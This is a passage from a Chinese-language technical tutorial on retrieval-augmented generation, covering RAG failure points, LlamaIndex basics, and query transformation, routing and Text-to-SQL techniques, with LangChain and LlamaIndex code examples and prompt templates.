  • 在预检索过程这个阶段,主要关注的是 索引优化(index optimization)查询优化(query optimization);索引优化的目标是提高被索引内容的质量,常见的方法有:提高数据粒度(enhancing data granularity)优化索引结构(optimizing index structures)添加元数据(adding metadata)对齐优化(alignment optimization)混合检索(mixed retrieval);而查询优化的目标是使用户的原始问题更清晰、更适合检索任务,常见的方法有:查询重写(query rewriting)查询转换(query transformation)查询扩展(query expansion) 等技术;
  • 后检索过程关注的是,如何将检索到的上下文有效地与查询整合起来。直接将所有相关文档输入大模型可能会导致信息过载,使关键细节与无关内容混淆,为了减轻这种情况,后检索过程引入的方法包括:重新排序块(rerank chunks)上下文压缩(context compressing) 等;

可以看出,尽管高级 RAG 在检索前和检索后提出了多种优化策略,但是它仍然遵循着和朴素 RAG 一样的链式结构,架构的灵活性仍然收到限制。模块化 RAG 的架构超越了前两种 RAG 范式,增强了其适应性和功能性,可以灵活地引入特定功能模块或替换现有模块,整个过程不仅限于顺序检索和生成,还包括迭代和自适应检索等方法。

关于这些 RAG 技术的细节,推荐研读 Yunfan Gao 等人的 论文,写的非常详细。

开发 RAG 系统面临的 12 个问题

上一节我们学习了 RAG 范式的发展,并介绍了 RAG 系统中可能会面临的问题,Scott Barnett 等人在 Seven Failure Points When Engineering a Retrieval Augmented Generation System 这篇论文中对此做了进一步的梳理,整理了 7 个常见的问题:

7-failure-points.png

  1. 缺失内容(Missing Content)

当用户的问题无法从文档库中检索到时,可能会导致大模型的幻觉现象。理想情况下,RAG 系统可以简单地回复一句 “抱歉,我不知道”,然而,如果用户问题能检索到文档,但是文档内容和用户问题无关时,大模型还是可能会被误导。

  1. 错过超出排名范围的文档(Missed Top Ranked)

由于大模型的上下文长度限制,我们从文档库中检索时,一般只返回排名靠前的 K 个段落,如果问题答案所在的段落超出了排名范围,就会出现问题。

  1. 不在上下文中(Not In Context)

包含答案的文档已经成功检索出来,但却没有包含在大模型所使用的上下文中。当从数据库中检索到多个文档,并且使用合并过程提取答案时,就会出现这种情况。

  1. 未提取(Not Extracted)

答案在提供的上下文中,但是大模型未能准确地提取出来,这通常发生在上下文中存在过多的噪音或冲突信息时。

  1. 错误的格式(Wrong Format)

问题要求以特定格式提取信息,例如表格或列表,然而大模型忽略了这个指示。

  1. 不正确的具体性(Incorrect Specificity)

尽管大模型正常回答了用户的提问,但不够具体或者过于具体,都不能满足用户的需求。不正确的具体性也可能发生在用户不确定如何提问,或提问过于笼统时。

  1. 不完整的回答(Incomplete Answers)

考虑一个问题,“文件 A、B、C 包含哪些关键点?”,直接使用这个问题检索得到的可能只是每个文件的部分信息,导致大模型的回答不完整。一个更有效的方法是分别针对每个文件提出这些问题,以确保全面覆盖。

Wenqi Glantz 在他的博客 12 RAG Pain Points and Proposed Solutions 中又扩充了另 5 个问题:

  1. 数据摄入的可扩展性问题(Data Ingestion Scalability)

当数据规模增大时,系统可能会面临如数据摄入时间过长、系统过载、数据质量下降以及可用性受限等问题,这可能导致性能瓶颈甚至系统故障。

  1. 结构化数据的问答(Structured Data QA)

根据用户的问题准确检索出所需的结构化数据是一项挑战,尤其是当用户的问题比较复杂或比较模糊时。这是由于文本到 SQL 的转换不够灵活,当前大模型在处理这类任务上仍然存在一定的局限性。

  1. 从复杂 PDF 文档提取数据(Data Extraction from Complex PDFs)

复杂的 PDF 文档中可能包含有表格、图片等嵌入内容,在对这种文档进行问答时,传统的检索方法往往无法达到很好的效果。我们需要一个更高效的方法来处理这种复杂的 PDF 数据提取需求。

  1. 备用模型(Fallback Model(s))

在使用单一大模型时,我们可能会担心模型遇到问题,比如遇到 OpenAI 模型的访问频率限制错误。这时候,我们需要一个或多个模型作为备用,以防主模型出现故障。

  1. 大语言模型的安全性(LLM Security)

如何有效地防止恶意输入、确保输出安全、保护敏感信息不被泄露等问题,都是我们需要面对的重要挑战。

在 Wenqi Glantz 的博客中,他不仅整理了这些问题,而且还对每个问题给出了对应的解决方案,整个 RAG 系统的蓝图如下:

12-pain-points.png

LlamaIndex 实战

通过上面的学习,我们了解了 RAG 的基本原理和发展历史,以及开发 RAG 系统时可能遇到的一些问题。这一节我们将学习 LlamaIndex 框架,这是一个和 LangChain 齐名的基于大模型的应用开发框架,我们将使用它快速实现一个简单的 RAG 程序。

LlamaIndex 快速入门

LlamaIndex 是一个由 Jerry Liu 创建的 Python 库,用于开发基于大模型的应用程序,类似于 LangChain,但它更偏向于 RAG 系统的开发。使用 LlamaIndex,开发人员可以很方便地摄取、结构化和访问私有或领域特定数据,以便将这些数据安全可靠地注入大模型中,从而实现更准确的文本生成。

正如 LlamaIndex 的名字所暗示的,索引(Index) 是 RAG 系统中的核心概念,它是大模型和用户数据之间的桥梁,无论是数据库类的结构化数据,还是文档类的非结构化数据,抑或是程序类的 API 数据,都是通过索引来查询的,查询出来的内容作为上下文和用户的问题一起发送给大模型,得到响应:

basic-rag.png

LlamaIndex 将 RAG 分为五个关键阶段:

  • 加载(Loading):用于导入各种用户数据,无论是文本文件、PDF、另一个网站、数据库还是 API;LlamaHub 提供了数百个的加载器;
  • 索引(Indexing):可以是 Embedding 向量,也可以是其他元数据策略,方便我们准确地找到上下文相关的数据;
  • 存储(Storing):对索引持久化存储,以免重复索引;
  • 查询(Querying):对给定的索引策略进行查询,包括子查询、多步查询和混合策略;
  • 评估(Evaluation):提供客观的度量标准,用于衡量查询响应的准确性、忠实度和速度;

可以看到这些阶段几乎都和索引有关,为了对这些阶段有个更感性的认识,我们参考 LlamaIndex 官方文档中的 Starter Tutorial 来快速入门。

首先,我们使用 pip 安装 LlamaIndex:

$ pip3 install llama-index

通过 LlamaIndex 提供的高级 API,初学者只需 5 行代码即可实现一个简单的 RAG 程序:

from llama_index.core import VectorStoreIndex, SimpleDirectoryReader
documents = SimpleDirectoryReader("data").load_data()
index = VectorStoreIndex.from_documents(documents)
query_engine = index.as_query_engine()
response = query_engine.query("What did the author do growing up?")

示例中使用了保罗·格雷厄姆的文章 What I Worked On 作为测试数据,我们将其下载并保存到 data 目录,运行程序,得到下面的输出:

The author worked on writing and programming before college.

LlamaIndex 核心概念

上面的代码中展示了 加载 -> 索引 -> 查询 这几个阶段,其中有几个概念需要特别说明下:

  • Documents and Nodes

    • Documents 对应任何数据源的容器,比如 PDF 文档,API 接口的输出,或从数据库中检索数据;
    • 我们可以手动构造 Document 对象,也可以使用所谓的 数据连接器(Data Connectors) 来加载数据,示例中使用的 SimpleDirectoryReader 就是一个数据连接器;
    • 由于加载的数据可能很大,Document 通常不直接使用,在 LlamaIndex 中,会将 Document 切分成很多很多的小块,这些文档的分块被称为 Node,它是 LlamaIndex 中数据的原子单位;Node 中包含一些元数据,比如属于哪个文档,和其他 Node 的关联等;
    • 将 Document 切分成 Nodes 是由 Node Parser 或 Text Splitters 完成的,示例代码中并没有明确指定,用的默认的 SentenceSplitter,可以通过 Settings.text_splitter 来修改;
  • Indexes

    • 一旦完成了数据的读取,LlamaIndex 就可以帮我们对数据进行索引,便于快速检索用户查询的相关上下文;Index 是一种数据结构,它是 LlamaIndex 打造 RAG 的核心基础;
    • LlamaIndex 内置了几种不同的 Index 实现,如 Summary IndexVector Store IndexTree IndexKeyword Table IndexHow Each Index Works 这篇文档介绍了不同 Index 的实现原理;
    • 可以看到示例代码中使用了 VectorStoreIndex,这也是目前最常用的 Index;默认情况下 VectorStoreIndex 将 Index 数据保存到内存中,可以通过 StorageContextpersist() 方法将 Index 持久化到本地磁盘,或指定 Vector Store 将 Index 保存到向量数据库中,LlamaIndex 集成了大量的 Vector Store 实现
    • LlamaIndex 有一套完善的存储体系,除了 Vector Store,还支持 Document StoreIndex StoreGraph StoreChat Store 等,具体内容可以参考 官方文档
    • 此外,在使用 VectorStoreIndex 生成向量索引时,会使用 Embeddings 模型,它使用复杂的向量来表示文档内容,通过向量的距离来表示文本的语义相似性,默认的 Embedding 模型为 OpenAIEmbedding,可以通过 Settings.embed_model 来修改;
  • Query Engines

    • 加载完文档,构造完索引,我们就来到 RAG 中最重要的一环:Querying;根据用户的问题,或者是一个总结请求,或者一个更复杂的指令,检索出相关文档从而实现对数据的问答和聊天;
    • 查询引擎(Query Engines) 是最基础也是最常见的检索方式,通过 Index 的 as_query_engine() 方法可以构建查询引擎,查询引擎是无状态的,不能跟踪历史对话,如果要实现类似 ChatGPT 的对话场景,可以通过 as_chat_engine() 方法构建 聊天引擎(Chat Engines)
    • LlamaIndex 将查询分为三个步骤:第一步 Retrieval 是指从 Index 中找到并返回与用户查询最相关的文档;第二步 Node Postprocessing 表示后处理,这是在检索到结果后对其进行重排序、转换或过滤的过程;第三步 Response Synthesis 是指将用户查询、最相关的文档片段以及提示组合在一起发送到大模型以生成响应;查询的每个步骤 LlamaIndex 都内置了多种不同的策略,也可以完全由用户定制;
    • LlamaIndex 还支持多种不同的查询结合使用,它通过 路由器(Routers) 来做选择,确定要使用哪个查询,从而满足更多的应用场景。

通过上面的学习,我们对 LlamaIndex 中的各个组件的概念已经有了一个大致的了解,可以结合官网的 LearnUse CasesComponent Guides 等文档学习 LlamaIndex 的更多功能。

高级 RAG 技巧

基于 LlamaIndex,我们只用了 5 行代码就实现了一个简单的 RAG 系统,可以看出,这是朴素 RAG 的基本思路。这一节我们将继续学习高级 RAG 技巧,争取对每一种技巧都进行实战验证,带大家一窥 RAG 的技术全貌。

下图展示了高级 RAG 涉及的核心步骤和算法:

advanced-rag.jpeg

LangChain 的 这篇博客 对这些步骤进行详细的讨论。

查询转换(Query Transformations)

RAG 系统面临的第一个问题就是如何处理用户输入,我们知道,RAG 的基本思路是根据用户输入检索出最相关的内容,但是用户输入是不可控的,可能存在冗余、模糊或歧义等情况,如果直接拿着用户输入去检索,效果可能不理想。

查询转换(Query Transformations) 是一组旨在修改用户输入以改善检索的方法,使检索对用户输入的变化具有鲁棒性。可参考 LangChain 的 这篇博客 和 LlamaIndex 的 这份文档这份指南

查询扩展(Query Expansion)

假设你的知识库中包含了各个公司的基本信息,考虑这样的用户输入:微软和苹果哪一个成立时间更早? 要获得更好的检索效果,我们可以将其拆解成两个用户输入:微软的成立时间苹果的成立时间,这种将用户输入分解为多个子问题的方法被称为 查询扩展(Query Expansion)

再考虑另一个用户输入:哪个国家赢得了 2023 年的女子世界杯?该国的 GDP 是多少?,和上面的例子一样,我们也需要通过查询扩展将其拆分成两个子问题,只不过这两个子问题是有依赖关系的,我们需要先查出第一个子问题的答案,然后才能查第二个子问题。也就是说,上面的例子中我们可以并行查询,而这个例子需要串行查询。

查询扩展有多种不同的实现,比如:

多查询检索器(Multi Query Retriever)

MultiQueryRetriever 是 LangChain 中的一个类,可根据用户输入生成子问题,然后依次进行检索,最后将检索到的文档合并返回。

MultiQueryRetriever 不仅可以从原始问题中拆解出子问题,还可以对同一问题生成多个视角的提问,比如用户输入:What are the approaches to Task Decomposition?,大模型可以对这个问题生成多个角度的提问,比如:

  1. How can Task Decomposition be approached?
  2. What are the different methods for Task Decomposition?
  3. What are the various approaches to decomposing tasks?

MultiQueryRetriever 默认使用的 Prompt 如下:

You are an AI language model assistant. Your task is 
to generate 3 different versions of the given user 
question to retrieve relevant documents from a vector  database. 
By generating multiple perspectives on the user question, 
your goal is to help the user overcome some of the limitations 
of distance-based similarity search. Provide these alternative 
questions separated by newlines. Original question: {question}

我们可以在此基础上稍作修改,就可以实现子问题拆解:

你是一个 AI 语言助手,你的任务是将用户的问题拆解成多个子问题便于检索,多个子问题以换行分割,保证每行一个。
用户的原始问题为:{question}

在 LlamaIndex 中可以通过 Multi-Step Query EngineSub Question Query Engine 实现类似的多查询检索。

RAG 融合(RAG Fusion)

RAG FusionMultiQueryRetriever 基于同样的思路,生成子问题并检索,它对检索结果执行 倒数排名融合(Reciprocal Rank Fusion,RRF) 算法,使得检索效果更好。它的大致流程如下:

rag-fusion.png

可以分为四个步骤:

  • 首先,通过大模型将用户的问题转换为相似但不同的问题,例如,“气候变化的影响” 生成的问题可能包括 “气候变化的经济后果”、“气候变化和公共卫生” 等角度;
  • 其次,对原始问题和新生成的问题执行并发的向量搜索;
  • 接着,使用 RRF 算法聚合和细化所有结果;
  • 最后,将所有的问题和重新排序的结果丢给大模型,引导大模型进行有针对性的输出。

其中生成问题的逻辑和 MultiQueryRetriever 别无二致,聚合和重排序的逻辑我们在后处理部分再做讨论。

这里 是 RAG Fusion 原作者的基本实现,这里 是基于 LangChain 的实现。

后退提示(Step-Back Prompting)

后退提示(Step-Back Prompting) 是 Google DeepMind 团队在论文 Take a Step Back: Evoking Reasoning via Abstraction in Large Language Models 中提出的一种新的提示技术,我在 之前的笔记中 已经介绍过后退提示的基本原理。总的来说,它基于用户的原始问题生成一个后退问题,后退问题相比原始问题具有更高级别的概念或原则,从而提高解决复杂问题的效果,例如一个关于物理学的问题可以后退为一个关于该问题背后的物理原理的问题,然后对原始问题和后退问题进行检索。

很显然,后退提示也可以在 RAG 中作为一种查询扩展的方法,这里 是基于后退提示实现 RAG 问答的一个示例,其中生成后退问题的 Prompt 如下:

You are an expert of world knowledge. I am going to ask you a question. \
Your response should be comprehensive and not contradicted with the following \
context if they are relevant. Otherwise, ignore them if they are not relevant.

{normal_context}
{step_back_context}

Original Question: {question}
Answer:
假设性文档嵌入(Hypothetical Document Embeddings,HyDE)

当我们使用基于相似性的向量检索时,在原始问题上进行检索可能效果不佳,因为它们的嵌入可能与相关文档的嵌入不太相似,但是,如果让大模型生成一个假设的相关文档,然后使用它来执行相似性检索可能会得到意想不到的结果。这就是 假设性文档嵌入(Hypothetical Document Embeddings,HyDE) 背后的关键思想。

HyDE 是 Luyu Gao 在 Precise Zero-Shot Dense Retrieval without Relevance Labels 这篇论文中提出的一种方法,它的思路非常有意思,首先通过大模型为用户问题生成答案,不管答案是否正确,然后计算生成的答案的嵌入,并进行向量检索,生成的答案虽然可能是错误的,但是通过它却可能比原问题更好地检索出正确的答案片段。

这里 是 LangChain 通过 HyDE 生成假设性文档的示例。

LlamaIndex 也提供了一个类 HyDEQueryTransform 来实现 HyDE,这里 是示例代码,同时文档也提到了使用 HyDE 可能出现的两个失败场景:

  1. 在没有上下文的情况下,HyDE 可能会对原始问题产出误解,导致检索出误导性的文档;比如用户问题是 “What is Bel?”,由于大模型缺乏上下文,并不知道 Bel 指的是 Paul Graham 论文中提到的一种编程语言,因此生成的内容和论文完全没有关系,导致检索出和用户问题没有关系的文档;
  2. 对开放式的问题,HyDE 可能产生偏见;比如用户问题是 “What would the author say about art vs. engineering?”,这时大模型会随意发挥,生成的内容可能带有偏见,从而导致检索的结果也带有偏见;

通过查询扩展不仅可以将用户冗余的问题拆解成多个子问题,便于更精确的检索;而且可以基于用户的问题生成更多角度的提问,这意味着对用户问题进行全方位分析,加大了搜索范围,所以会检索出更多优质内容。

但是查询扩展的最大缺点是太慢,而且费钱,因为需要大模型来生成子问题,这属于时间换效果,而且生成多个问题容易产生漂移,导致大模型输出的内容过于详细甚至偏题。

查询重写(Query Rewriting)

用户输入可能表达不清晰或措辞不当,一个典型的例子是用户输入中包含大量冗余的信息,看下面这个例子:

hi there! I want to know the answer to a question. is that okay? 
lets assume it is. my name is harrison, the ceo of langchain. 
i like llms and openai. who is maisie peters?

我们想要回答的真正问题是 “who is maisie peters?”,但用户输入中有很多分散注意力的文本,如果直接拿着原始文本去检索,可能检索出很多无关的内容。为解决这个问题,我们可以不使用原始输入,而是从用户输入生成搜索查询。Xinbei Ma 等人提出了一种 Rewrite-Retrieve-Read 的方法,对用户的输入进行改写,以改善检索效果,这里是论文地址,实现方法其实很简单,通过下面的 Prompt 让大模型基于用户的输入给出一个更好的查询:

template = """Provide a better search query for \
web search engine to answer the given question, end \
the queries with ’**’. Question: \
{x} Answer:"""
rewrite_prompt = ChatPromptTemplate.from_template(template)

具体实现可以参考 LangChain 的这个 cookbook

除了处理表达不清的用户输入,查询重写还经常用于处理聊天场景中的 后续问题(Follow Up Questions)。比如用户首先问 “合肥有哪些好玩的地方?”,接着用户又问 “那里有什么好吃的?”,如果直接用最后一句话进行嵌入和检索,就会丢失 “合肥” 这样的重要信息,这时,我们就可以用大模型来做问题重写来解决这个问题。

在开源网页搜索助手 WebLangChain 中,使用了如下的 Prompt 来实现问题重写:

Given the following conversation and a follow up question, rephrase the follow up \
question to be a standalone question.

Chat History:
{chat_history}
Follow Up Input: {question}
Standalone Question:

查询压缩(Query Compression)

在一些 RAG 应用程序中,用户可能是以聊天对话的形式与系统交互的,为了正确回答用户的问题,我们需要考虑完整的对话上下文,为了解决这个问题,可以将聊天历史压缩成最终问题以便检索,可以 参考这个 Prompt

查询路由(Routing)

在经过第一步查询转换后,我们已经将用户问题转换成易于检索的形式,接下来我们就要开始检索了。但是从哪里检索呢?有很多 RAG 示例都是从单一数据存储中检索。但是为了更好的组织数据,我们通常会将不同的数据存储在不同的库中;在真正的生产环境中,情况可能会更复杂,数据甚至可能存储在多个不同种类的库中,比如,向量数据库,关系型数据库,图数据库,甚至是 API 接口。这时我们需要对传入的用户问题进行动态路由,根据不同的用户问题检索不同的库。

这篇教程 介绍了 LangChain 中实现路由的两种方式,第一种方式是使用大模型将用户问题路由到一组自定义的子链,这些子链可以是不同的大模型,也可以是不同的向量存储,LangChain 提供了 RunnableLambdaRunnableBranch 两个类帮助我们快速实现这个功能,其中 RunnableLambda 是推荐的做法,用户可以在 route 方法中自定义路由逻辑:

def route(info):
    if "anthropic" in info["topic"].lower():
        return anthropic_chain
    elif "langchain" in info["topic"].lower():
        return langchain_chain
    else:
        return general_chain

from langchain_core.runnables import RunnableLambda

full_chain = {"topic": chain, "question": lambda x: x["question"]} | RunnableLambda(
    route
)
print(full_chain.invoke({"question": "how do I use Anthropic?"}))

另一种方法是计算用户问题和子链 Prompt 的嵌入向量,将最相似的子链作为下一步路由:

def prompt_router(input):
    query_embedding = embeddings.embed_query(input["query"])
    similarity = cosine_similarity([query_embedding], prompt_embeddings)[0]
    most_similar = prompt_templates[similarity.argmax()]
    print("Using MATH" if most_similar == math_template else "Using PHYSICS")
    return PromptTemplate.from_template(most_similar)

可以看到 LangChain 的路由功能非常地原始,连路由的 Prompt 都需要用户自己定义。相比来说,LlamaIndex 的路由器 显得就要高级得多,它可以根据用户的输入从一堆带有元数据的选项中动态地选择一个或多个。

LlamaIndex 将动态选择的过程抽象为选择器,并且内置了一些选择器,比如 LLMSingleSelectorLLMMultiSelector 通过 Prompt 让大模型返回一个或多个选项,PydanticSingleSelectorPydanticMultiSelector 则是通过 Function Call 功能来实现的。这里选择的选项可以是 查询引擎(Query Engines)检索器(Retrievers),甚至是任何用户自定义的东西,下面的代码演示了如何使用 LlamaIndex 的 RouterQueryEngine 实现根据用户的输入在多个查询引擎中动态选择其中一个:

# convert query engines to tools
list_tool = QueryEngineTool.from_defaults(
    query_engine=list_query_engine,
    description="Useful for summarization questions related to Paul Graham eassy on What I Worked On.",
)

vector_tool = QueryEngineTool.from_defaults(
    query_engine=vector_query_engine,
    description="Useful for retrieving specific context from Paul Graham essay on What I Worked On.",
)

# routing engine tools with a selector
query_engine = RouterQueryEngine(
    selector=PydanticSingleSelector.from_defaults(),
    query_engine_tools=[
        list_tool,
        vector_tool,
    ],
)

response = query_engine.query("What is the summary of the document?")

和 RouterQueryEngine 类似,使用 RouterRetriever 可以根据用户的输入动态路由到不同的检索器。此外,LlamaIndex 官方还有一些路由器的其他示例,比如 SQL Router Query Engine 这个示例演示了自定义路由器来路由到 SQL 数据库或向量数据库;Retriever Router Query Engine 这个示例演示了使用 ToolRetrieverRouterQueryEngine 来解决选项过多可能导致超出大模型 token 限制的问题。

查询构造(Query Construction)

我们面临的第三个问题是:使用什么语法来检索数据?在上一步中,我们知道数据可能存储在关系型数据库或图数据库中,根据数据的类型,我们将其分为结构化、半结构化和非结构化三大类:

  • 结构化数据:主要存储在 SQL 或图数据库中,结构化数据的特点是具有预定义的模式,并且以表格或关系的形式组织,使其适合进行精确的查询操作;
  • 半结构化数据:半结构化数据将结构化元素(例如文档中的表格或关系数据库)与非结构化元素(例如文本或关系数据库中的嵌入列)相结合;
  • 非结构化数据:通常存储在向量数据库中,非结构化数据由没有预定义模型的信息组成,通常伴随着结构化元数据,以便进行过滤。

将自然语言与各种类型的数据无缝连接是一件极具挑战的事情。要从这些库中检索数据,必须使用特定的语法,而用户问题通常都是用自然语言提出的,所以我们需要将自然语言转换为特定的查询语法。这个过程被称为 查询构造(Query Construction)

根据数据存储和数据类型的不同,查询构造可以分为以下几种常见的场景:

query-construction.png

Text-to-SQL

将自然语言翻译成 SQL 是一个非常热门的话题,已经有不少人对此展开了研究。通过向 LLM 提供一个自然语言问题以及相关的数据库表信息,可以轻松地完成文本到 SQL 的转换。

这个过程虽然简单,不过也有不少值得注意的问题和小技巧:

  • 大模型擅长写 SQL,但是写出来的 SQL 往往出现表名或字段名对应不上的情况;

解决方法是将你的数据库信息详细地告诉大模型,包括数据表的描述信息,有哪些字段,字段类型分别是什么,表中有什么样的数据,等等。Nitarshan Rajkumar 等人在 Evaluating the Text-to-SQL Capabilities of Large Language Models 这篇论文中发现,对于 OpenAI Codex 模型来说,使用 CREATE TABLE 语句来描述数据库表信息可以得到最佳性能,此外,在 CREATE TABLE 语句后通过一条 SELECT 语句附加 3 行表中的数据样本,可以进一步改善大模型生成 SQL 的效果。

LangChain 提供的 SQLDatabase 类可以方便地得到这些信息:

db = SQLDatabase.from_uri(
    "sqlite:///Chinook.db",
    include_tables=['Track'],
    sample_rows_in_table_info=3
)
print(db.table_info)

输出结果如下:

CREATE TABLE "Track" (
  "TrackId" INTEGER NOT NULL,
  "Name" NVARCHAR(200) NOT NULL,
  "AlbumId" INTEGER,
  "MediaTypeId" INTEGER NOT NULL,
  "GenreId" INTEGER,
  "Composer" NVARCHAR(220),
  "Milliseconds" INTEGER NOT NULL,
  "Bytes" INTEGER,
  "UnitPrice" NUMERIC(10, 2) NOT NULL,
  PRIMARY KEY ("TrackId"),
  FOREIGN KEY("MediaTypeId") REFERENCES "MediaType" ("MediaTypeId"),
  FOREIGN KEY("GenreId") REFERENCES "Genre" ("GenreId"),
  FOREIGN KEY("AlbumId") REFERENCES "Album" ("AlbumId")
)
SELECT * FROM 'Track' LIMIT 3;
TrackId    Name    AlbumId    MediaTypeId    GenreId    Composer    Milliseconds    Bytes    UnitPrice
1    For Those About To Rock (We Salute You)    1    1    1    Angus Young, Malcolm Young, Brian Johnson    343719    11170334    0.99
2    Balls to the Wall    2    2    1    None    342562    5510424    0.99
3    Fast As a Shark    3    2    1    F. Baltes, S. Kaufman, U. Dirkscneider & W. Hoffman    230619    3990994    0.99

有时候,前 3 行数据不足以完整地表达出表中数据的样貌,这时我们可以手工构造数据样本;有时候,表中数据存在敏感信息,我们也可以使用伪造的假数据来代替真实情况。

使用 LangChain 提供的 create_sql_query_chain 可以方便地实现 Text-to-SQL 功能:

from langchain_community.utilities import SQLDatabase
from langchain_openai import ChatOpenAI
from langchain.chains import create_sql_query_chain

db = SQLDatabase.from_uri("sqlite:///./sqlite/Chinook.db")
llm = ChatOpenAI(model="gpt-3.5-turbo", temperature=0)
chain = create_sql_query_chain(llm, db)
response = chain.invoke({"question": "How many employees are there"})

使用 LangChain 提供的 create_sql_agent 可以实现更智能的 Text-to-SQL 功能,包括 SQL 的生成,检查,执行,重试等:

from langchain_community.utilities import SQLDatabase
from langchain_openai import ChatOpenAI
from langchain_community.agent_toolkits import create_sql_agent

db = SQLDatabase.from_uri("sqlite:///./sqlite/Chinook.db")
llm = ChatOpenAI(model="gpt-3.5-turbo", temperature=0)
agent_executor = create_sql_agent(llm, db=db, agent_type="openai-tools", verbose=True)
response = agent_executor.invoke({
    "input": "List the total sales per country. Which country's customers spent the most?"
})

具体内容可以参考 LangChain 的文档 Q&A over SQL + CSV

LlamaIndex 的 NLSQLTableQueryEngine 同样可以实现类似的 Text-to-SQL 功能:

from llama_index.llms.openai import OpenAI
from sqlalchemy import create_engine
from llama_index.core import SQLDatabase
from llama_index.core.query_engine import NLSQLTableQueryEngine

llm = OpenAI(temperature=0.1, model="gpt-3.5-turbo")

engine = create_engine("sqlite:///./sqlite/Chinook.db")
sql_database = SQLDatabase(engine, include_tables=["Employee"])

query_engine = NLSQLTableQueryEngine(
    sql_database=sql_database, tables=["Employee"], llm=llm
)
response = query_engine.query("How many employees are there?")
  • 数据库表过多,或查询结果过多,超出大模型的限制;

为了大模型能生成准确的 SQL,我们必须将数据库表的信息完整的送入大模型的上下文中,如果数据库表或列过多,就会超出大模型的 token 限制。这时,我们必须找到方法,动态地仅插入最相关的信息到提示中。我们可以使用 LangChain 内置的 create_extraction_chain_pydantic 链来实现这点,它通过 OpenAI 的 funtion call 功能动态地挑出和用户问题最相关的表,然后再基于这些表生成 SQL 语句;LlamaIndex 的 SQLTableRetrieverQueryEngine 也实现了同样的功能,它通过为每个表生成一个嵌入向量来实现这一点。

此外,生成 SQL 并执行后,我们通常需要将执行结果送到大模型的上下文中,以便它能回答用户的问题。但是如果查询结果过多,同样会超出大模型的 token 限制。因此,我们要对 SQL 输出的大小合理地进行限制,比如让大模型尽可能少地使用列并限制返回行数来实现这一点。

  • 大模型编写的 SQL 可能存在语法错误无法执行;

如果在执行大模型生成的 SQL 时出现语法错误,可以参考我们人类自己是如何解决这类问题的。通常我们会查看报错信息,然后去查询关于报错信息的资料,以便对错误的语法进行纠正。这篇博客 介绍了如何通过 Prompt 让大模型自动地做到这一点,将原始查询和报错信息发送给大模型,并要求它纠正,大模型就可以理解出了什么问题,从而生成更加精准的 SQL 查询。下面是作者所使用的 Prompt:

error_prompt = f"""{query.sql}

The query above produced the following error:

{query.error}

Rewrite the query with the error fixed:"""

这里 是基于 LangChain 的实现。


以上三点是处理 Text-to-SQL 时要面对的基本问题和解决思路,还有一些优化方法可以进一步地提高 Text-to-SQL 的效果:

  • 使用少样本示例

Nitarshan Rajkumar 等人的研究 中,他们发现给大模型一些问题和对应 SQL 查询的示例,可以提高 SQL 生成的准确性;LangChain 的这个示例 中介绍了如何构造 SQL 查询的少样本示例,以及如何通过 SemanticSimilarityExampleSelector 根据用户的问题动态的选择不同的少样本示例。

  • 使用子查询

一些用户发现,让大模型将问题分解成多个子查询,有助于得到正确答案,如果让大模型对每个子查询进行注释,效果更好,这有点类似于之前学习过的 CoT 或 PoT 等提示技术,将一个大问题拆分成多个子查询,会迫使大模型按逻辑逐步思考,而且每一步相对来说更简单,从而出错概率降低。

  • 处理高基数列(High-cardinality columns)

高基数列(High-cardinality columns) 是指一个数据列中包含的不同数值的个数较多,即列中数据的唯一性较高,重复率较低,比如姓名、地址、歌曲名称等这些专有名词的列。如果生成的 SQL 语句中包含这样的列,我们首先需要仔细检查拼写,以确保能正确地过滤数据,因为用户输入这些名称时往往会使用一些别名或拼写错误。

由于高基数列中的数据基本上不重复或者重复率非常低,所以我们可以想办法将用户的输入关联到正确的名称上,从而实现准确的查询。最简单的做法是创建一个向量存储,将数据库中存在的所有专有名词的向量存储进去,然后就可以计算和用户输入最接近的专有名词。这里这里 是基于 LangChain 的代码示例。

Text-to-SQL + Semantic

通过 Text-to-SQL 可以很好的回答关于结构化数据的问题,比如:公司一共有多少员工,公司里男女员工比例是多少,等等;但是有些用户问题不仅要对结构化字段进行过滤查询,还需要对非结构化字段进行语义检索,比如:1980 年上映了哪些有关外星人的电影?我们不仅要使用 year == 1980 对电影的上映年份进行过滤,还需要根据 外星人 从电影名称或描述中进行语义检索。

在关系型数据库中添加向量支持是实现混合数据检索的关键,这种混合类型的数据被称为 半结构化数据(semi-structured data),也就是说既有结构化数据,也有非结构化数据。比如使用 PostgreSQL 的 Pgvector 扩展 可以在表中增加向量列,这让我们可以使用自然语言与这些半结构化数据进行交互,将 SQL 的表达能力与语义检索相结合。

Pgvector 通过 <-> 运算符在向量列上进行相似性检索,比如下面的 SQL 用于查询名称最为伤感的 3 首歌曲:

SELECT * FROM tracks ORDER BY name_embedding <-> {sadness_embedding} LIMIT 3;

也可以将语义检索和正常的 SQL 查询结合,比如下面的 SQL 用于查询 1980 年上映的有关外星人的电影:

SELECT * FROM movies WHERE year == 1980 ORDER BY name_embedding <-> {aliens_embedding} LIMIT 5;

Pgvector 也支持内积(<#>)、余弦距离(<=>)和 L1 距离(<+>)等运算符。

为了让大模型准确使用 Pgvector 的向量运算符,我们需要在 Prompt 里将 Pgvector 的语法告诉大模型,可以参考 Incoporating semantic similarity in tabular databases 这篇教程里的实现:

...

You can use an extra extension which allows you to run semantic similarity using <-> operator 
on tables containing columns named "embeddings".
<-> operator can ONLY be used on embeddings columns.
The embeddings value for a given row typically represents the semantic meaning of that row.
The vector represents an embedding representation of the question, given below. 
Do NOT fill in the vector values directly, but rather specify a `[search_word]` placeholder, 
which should contain the word that would be embedded for filtering.
For example, if the user asks for songs about 'the feeling of loneliness' the query could be:
'SELECT "[whatever_table_name]"."SongName" FROM "[whatever_table_name]" ORDER BY "embeddings" <-> '[loneliness]' LIMIT 5'

...

这篇教程详细介绍了如何使用 LangChain 实现基于 Pgvector 的语义检索,并将 Text-to-SQL + Semantic 总结为三种场景:

  • 基于向量列的语义过滤:比如 查询名称最为伤感的 3 首歌曲
  • 结合普通列的过滤和向量列的语义过滤:比如 查询 1980 年上映的有关外星人的电影
  • 结合多个向量列的语义过滤:比如:从名称可爱的专辑中获取 5 首伤感的歌曲

在 LlamaIndex 中,也有一个 PGVectorSQLQueryEngine 类用于实现 Pgvector 的语义检索,参考 Text-to-SQL with PGVector 这篇教程。

Text-to-metadata filters

很多向量数据库都具备 元数据过滤(metadata filters) 的功能,这和关系型数据库的半结构化数据很像(参考上面的 Text-to-SQL + Semantic 一节),可以把带元数据的向量数据库看成有一个向量列的关系型数据表。下面是 Chroma 的一个带元数据过滤的查询示例:

collection.query(
    query_texts=["query1", "query2"],
    n_results=10,
